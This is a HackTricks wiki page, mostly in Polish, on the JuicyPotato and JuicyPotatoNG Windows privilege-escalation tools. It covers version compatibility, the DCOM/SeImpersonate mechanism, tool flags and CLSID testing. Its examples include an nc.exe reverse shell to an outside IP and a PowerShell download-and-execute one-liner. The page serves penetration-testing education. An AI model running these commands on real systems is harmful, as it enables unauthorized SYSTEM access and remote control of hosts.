JuicyPotato
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
[!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (nadużywanie "golden privileges")
Słodsza wersja RottenPotatoNG, z odrobiną "soku", tj. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Szybkie uwagi o kompatybilności
- Działa niezawodnie do Windows 10 1803 i Windows Server 2016, gdy bieżący kontekst ma SeImpersonatePrivilege lub SeAssignPrimaryTokenPrivilege.
- Nie działa w wyniku wzmocnień bezpieczeństwa w Windows 10 1809 / Windows Server 2019 i nowszych. Dla tych buildów preferuj alternatywy wymienione powyżej.
Podsumowanie
RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na BITS
service mającej nasłuch MiTM na 127.0.0.1:6666
oraz gdy masz uprawnienia SeImpersonate
lub SeAssignPrimaryToken
. Podczas przeglądu konfiguracji Windows znaleźliśmy środowisko, w którym BITS
został celowo wyłączony, a port 6666
był zajęty.
Postanowiliśmy "uzbroić" RottenPotatoNG: poznaj Juicy Potato.
Dla teorii zobacz Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM i prześledź łańcuch linków oraz odnośników.
Odkryliśmy, że oprócz BITS
istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one jedynie:
- być możliwe do zainicjowania przez bieżącego użytkownika, zwykle “service user”, który posiada uprawnienia do impersonacji
- zaimplementować interfejs
IMarshal
- działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)
Po testach uzyskaliśmy i sprawdziliśmy obszerną listę interesujących CLSID-ów na kilku wersjach Windows.
Szczegóły
JuicyPotato pozwala na:
- Docelowy CLSID wybierz dowolny CLSID, który chcesz. Tutaj znajdziesz listę uporządkowaną według systemu operacyjnego.
- Port nasłuchu COM określ port nasłuchu COM, którego chcesz użyć (zamiast na stałe ustawionego 6666)
- Adres IP nasłuchu COM zwiąż serwer z dowolnym adresem IP
- Tryb tworzenia procesu w zależności od uprawnień podszywanego użytkownika możesz wybrać:
CreateProcessWithToken
(wymagaSeImpersonate
)CreateProcessAsUser
(wymagaSeAssignPrimaryToken
)both
- Proces do uruchomienia uruchom plik wykonywalny lub skrypt, jeśli eksploatacja zakończy się sukcesem
- Argument procesu dostosuj argumenty uruchamianego procesu
- Adres serwera RPC dla ukrytego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
- Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port
135
… - TRYB TESTOWY głównie do celów testowych, np. testowania CLSID-ów. Tworzy DCOM i wypisuje użytkownika tokenu. Zobacz tutaj do testów
Użycie
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Ostatnie uwagi
Jeśli użytkownik ma uprawnienia SeImpersonate
lub SeAssignPrimaryToken
, to jesteś SYSTEM.
Praktycznie niemożliwe jest zapobieżenie nadużyciom wszystkich tych COM Servers. Możesz rozważyć modyfikowanie uprawnień tych obiektów za pomocą DCOMCNFG
, ale powodzenia — to będzie trudne.
Rzeczywiste rozwiązanie polega na zabezpieczeniu wrażliwych kont i aplikacji, które działają pod kontami * SERVICE
. Zatrzymanie DCOM
z pewnością utrudniłoby ten exploit, ale mogłoby mieć poważny wpływ na system operacyjny.
From: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
JuicyPotatoNG ponownie wprowadza eskalację uprawnień lokalnych w stylu JuicyPotato na nowoczesnych systemach Windows, łącząc:
- Rozwiązanie DCOM OXID do lokalnego serwera RPC na wybranym porcie, omijając stary, hardcoded nasłuch 127.0.0.1:6666.
- Hook SSPI do przechwycenia i podszycia się pod przychodzące uwierzytelnienie SYSTEM bez potrzeby użycia RpcImpersonateClient, co również umożliwia CreateProcessAsUser, gdy obecne jest tylko uprawnienie SeAssignPrimaryTokenPrivilege.
- Sztuczki spełniające ograniczenia aktywacji DCOM (np. dawny wymóg grupy INTERACTIVE przy celowaniu w klasy PrintNotify / ActiveX Installer Service).
Ważne uwagi (zachowanie zmienia się między buildami):
- Wrzesień 2022: Początkowa technika działała na wspieranych systemach Windows 10/11 i Server, wykorzystując “INTERACTIVE trick”.
- Styczeń 2023 — aktualizacja od autorów: Microsoft później zablokował INTERACTIVE trick. Inny CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) przywraca możliwość eksploatacji, ale tylko na Windows 11 / Server 2022, według ich wpisu.
Podstawowe użycie (więcej flag w pomocy):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
Jeśli celujesz w Windows 10 1809 / Server 2019, gdzie klasyczny JuicyPotato jest załatany, preferuj alternatywy podlinkowane powyżej (RoguePotato, PrintSpoofer, EfsPotato/GodPotato itp.). NG może być sytuacyjne w zależności od builda i stanu usługi.
Przykłady
Uwaga: Odwiedź this page , aby uzyskać listę CLSID-ów do wypróbowania.
Uzyskaj nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Uruchom nowe CMD (jeśli masz dostęp przez RDP)
Problemy z CLSID
Często domyślny CLSID używany przez JuicyPotato nie działa i exploit kończy się niepowodzeniem. Zwykle potrzeba wielu prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla konkretnego systemu operacyjnego, odwiedź tę stronę:
Sprawdzanie CLSID
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a także pobierz i uruchom GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.
Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie testować każdy CLSID, a gdy numer portu się zmieni, będzie to oznaczać, że CLSID zadziałał.
Sprawdź działające CLSID-y używając parametru -c
Referencje
- https://github.com/ohpe/juicy-potato/blob/master/README.md
- Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.